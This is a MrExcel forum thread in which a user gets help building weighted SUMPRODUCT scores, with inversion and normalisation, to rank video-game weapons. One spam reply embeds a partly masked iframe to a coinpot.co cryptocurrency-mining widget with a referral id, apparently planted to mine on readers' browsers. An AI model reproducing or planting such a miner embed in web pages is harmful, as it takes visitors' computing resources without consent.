How to find best option from a range based on weighted values

Drew_

Board Regular
Joined
Jul 8, 2017
Messages
85
Hi all.

I think I have a unique question here. I have a range of various values (10 columns) that are based on different weapon stats for a game I play. Sample data below:

WeaponClassMag SizeRPMReload (1 bullet)DamageDrop offLeft RecoilVertical RecoilRight Recoil1st shot recoilADS
FAMASAssault2.6500.45852.50.0350.0350.0550.130.02
AEK 971Assault3.1450.38352.50.0500.0200.0300.150.015
F2000Assault3.142.50.37552.50.0500.0260.0400.150.02
KH2002Assault3.1400.43552.50.0400.0200.0400.0750.01
M16A3Assault3.1400.27052.50.0100.0260.0400.1250.01
M16A4Assault3.1400.27052.50.0080.0260.0300.1250.005

<colgroup><col span="4"><col><col><col><col><col><col><col><col></colgroup><tbody>
</tbody>



Essentially, I want Excel to tell me which weapon is the best by taking all the stats into consideration. I figured I could do this by assigning weighted values to each column but I'm not sure. Problem is, bigger numbers are not always better (for example, longer reload time is bad, want lower number).

I know this is unique and might not make much sense, but any help would be appreciated. Thanks
 

Some videos you may like

Excel Facts

Round to nearest half hour?
Use =MROUND(A2,"0:30") to round to nearest half hour. Use =CEILING(A2,"0:30") to round to next half hour.

NiMip

Board Regular
Joined
Oct 9, 2017
Messages
167
Yeah I think weightings are probably essential. What's "best" will come down to what you think is most important., e.g. how much recoil are you willing to put up with if it means increased damage/sec?

Presumably you'd also want to separate this out by weapon class... Drop off is pretty important for a short/mid-range weapon, probably less so for a sniper (depending on the game or specific map).
 
Last edited:

Drew_

Board Regular
Joined
Jul 8, 2017
Messages
85
Right, but if I assign the weights doesn't that tell Excel what I think is most important? Essentially I am looking for a way to take all of the weights for each category and come up with an average of some sort
 

NiMip

Board Regular
Joined
Oct 9, 2017
Messages
167
Oh yeah it does; sorry I thought you were wondering if you should use weights or not.

If you're going with that, the easiest way I can think of would be to organise all your good attributes next to each other, and all of your big-is-bad attributes together, and then in another column for each weapon do a couple of sumproducts:

ABCDEFGHIJKLM
1WeaponClassMag SizeRPMDamageReload (1 bullet)Drop offLeft RecoilVertical RecoilRight Recoil1st shot recoilADSScore
210%20%25%10%5%5%5%5%5%10%
3FAMASAssault2.65050.4582.50.0350.0350.0550.130.02=SUMPRODUCT(C3:E3,$C$2:$E$2)+SUMPRODUCT(1/F3:L3,$F$2:$L$2)
4AEK 971Assault3.14550.3832.50.050.020.030.150.01523.01
5F2000Assault3.142.550.3752.50.050.0260.040.150.0219.85
6KH2002Assault3.14050.4352.50.040.020.040.0750.0125.48
7M16A3Assault3.14050.272.50.010.0260.040.1250.0128.52
8M16A4Assault3.14050.272.50.0080.0260.030.1250.00540.19

<tbody>
</tbody>


That will make it so the big-is-bad attributes will add less to the score the higher they are. You can then sort the score column by highest value.

EDIT: This is pretty basic and you'll probably want to make the positive attributes much higher weighted, because the placeholder ones I've chosen are making it a bit negative-attribute heavy.
 
Last edited:

chrilowbitcoin

New Member
Joined
Dec 10, 2017
Messages
1

ADVERTISEMENT

ok perfect

******** scrolling="no" frameborder="0" src="https://coinpot.co/mine/bitcoincore/?ref=759E24FD7EA6&mode=widget" style="overflow:hidden;width:324px;height:470px;">*********>
 

Drew_

Board Regular
Joined
Jul 8, 2017
Messages
85
Yes this is great info. I excluded the RPM column (not super important) and used the following weights:
Mag size: 7.5
Damage: 10 (all weapons except one do same damage so doesnt matter that much)
Reload: 12.5
Drop off: 5
Left recoil: 15
Vertical recoil: 15
Right recoil: 15
1st shot recoil: 12.5
ADS: 7.5

I see what the SUMPRODUCT is doing and that makes sense to me. However, I believe the amount of recoil may be the determining factor so shouldn't I make those weights more? Since they are more important? Or will that make the chart even MORE negative-attribute heavy?
 

NiMip

Board Regular
Joined
Oct 9, 2017
Messages
167

ADVERTISEMENT

Yeah it's totally up to you how you run the weights! If you think the results are a little off, you can tweak them until the top weapons match your gut-feel for what they should be, whether that's low recoil or big mag size.

The issue I'm seeing with my suggestion is that the magnitude of each attribute score makes as much difference as the weights. All the negative attributes have quite small scores and hence their inverse might have a tendency to overshadow the positive attributes.

For example

For ADS you have an attribute score as low as 0.005, so its weighted score would be (1/0.005)*7.5% = 15.
Mag size, on the other hand, might have a weighted score of 2.6*7.5% = 0.195.

So even though you've given them the same weighting, ADS is smashing Mag size out of the park in contributing to the overall weapon score. A small change in ADS could be FAR more significant that a large one in mag size, and you almost might as well have just sorted the ADS column from lowest to highest.

An option to fix this could be to normalise the attribute scores first - basically you divide every score under an attribute by the maximum in that attribute. Not taking into account the weightings for a second, this means the highest score under any attribute is worth the same as the highest score under any other attribute; a score of 1. The weightings are then applied to give your flavour of what's important to you.
 
Last edited:

Drew_

Board Regular
Joined
Jul 8, 2017
Messages
85
Unfortunately, I am not fully understanding your "option to fix this". The part about dividing every score by the max is confusing me. I have attached the raw data for a few of the weapons, then you can assign the weights and try to explain to me what it is you mean:

WeaponClassMag SizeDamageDrop offReload (1 bullet)Left RecoilVertical RecoilRight Recoil1st shot recoilADS
Weights---- >7.5%10.0%5.0%12.5%15.0%15.0%15.0%12.5%7.5%
FAMASAssault2625503.050.350.350.552.60.4
AEK 971Assault3125502.550.50.20.330.3
F2000Assault3125502.50.50.260.430.4
KH2002Assault3125502.90.40.20.41.50.2
M16A3Assault3125501.80.10.260.42.50.2
M16A4Assault3125501.80.0750.260.32.50.1
M416Assault3125501.750.10.260.320.2

<tbody>
</tbody>
 
Last edited:

Drew_

Board Regular
Joined
Jul 8, 2017
Messages
85
Okay, I figured out your suggestions and they make sense to me now. Except, my negative attributes (in red) are still way too influential and I think its because I am taking the inverse. Why exactly am I doing this? The max "score" I can have for my good attributes (in green) is .05 while the max score for my red attributes is 25.62. Do you possibly know of a way around this?

Unfortunately, changing the weights has very minimal effect on the overall score so that is not a sufficient fix.
 
Last edited:

NiMip

Board Regular
Joined
Oct 9, 2017
Messages
167
Apologies. The idea of normalisation is to get different variables on the same scale.

In this example, before the weightings are applied, you want the best mag-size stat to contribute as much as any other stat. Getting every attribute on the same scale gives them a level contribution to the overall score before you put your preference on it. It means you won't have one stat overshadowing another just because it uses bigger numbers.

Anyway, example provided below. I've taken the raw data, and divided each value by the maximum value under each attribute. This means the highest score under any attribute will be 1, and everything else will be on a scale of 0-1. The resulting weapon score will be based purely on your preference for what is important, rather than it being influenced by drop off being measured in some quantity in the 50s, and ADS in some quantity of<1. Without normalisation, this difference in scale was probably having more effect on the overall score than the weightings. With this small amount of data it doesn't actually change the order, but I assume there are a LOT more weapons?

ABCDEFGIJKLM
1WeaponClassMag SizeDamageDrop offReload (1 bullet)Left RecoilVertical RecoilRight Recoil1st shot recoilADS
2Weights---- >7.50%10.00%5.00%12.50%15.00%15.00%15.00%12.50%7.50%
3FAMASAssault2625503.050.350.350.552.60.4=SUMPRODUCT(C3:E3,$C$2:$E$2)+SUMPRODUCT(1/F3:K3,$F$2:$K$2)
4AEK 971Assault3125502.550.50.20.330.39.22
5F2000Assault3125502.50.50.260.430.48.86
6KH2002Assault3125502.90.40.20.41.50.29.33
7M16A3Assault3125501.80.10.260.42.50.210.27
8M16A4Assault3125501.80.0750.260.32.50.111.27
9M416Assault3125501.750.10.260.320.210.41
10
11Normalised
12WeaponClassMag SizeDamageDrop offReload (1 bullet)Left RecoilVertical RecoilRight Recoil1st shot recoilADS
13Weights---- >7.50%10.00%5.00%12.50%15.00%15.00%15.00%12.50%7.50%
14FAMASAssault=C3/MAX(C$3:C$9)1110.7110.8666671=SUMPRODUCT(C14:E14,$C$13:$E$13)+SUMPRODUCT(1/F14:K14,$F$13:$K$13)
15AEK 971Assault1110.83606610.5714290.54545510.751.29
16F2000Assault1110.81967210.7428570.727273111.14
17KH2002Assault1110.950820.80.5714290.7272730.50.51.41
18M16A3Assault1110.5901640.20.7428570.7272730.8333330.51.89
19M16A4Assault1110.5901640.150.7428570.5454550.8333330.252.36
20M416Assault1110.573770.20.7428570.5454550.6666670.52.01

<tbody>
</tbody>
 

Watch MrExcel Video

Forum statistics

Threads
1,122,491
Messages
5,596,474
Members
414,070
Latest member
DuncanLucas

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Top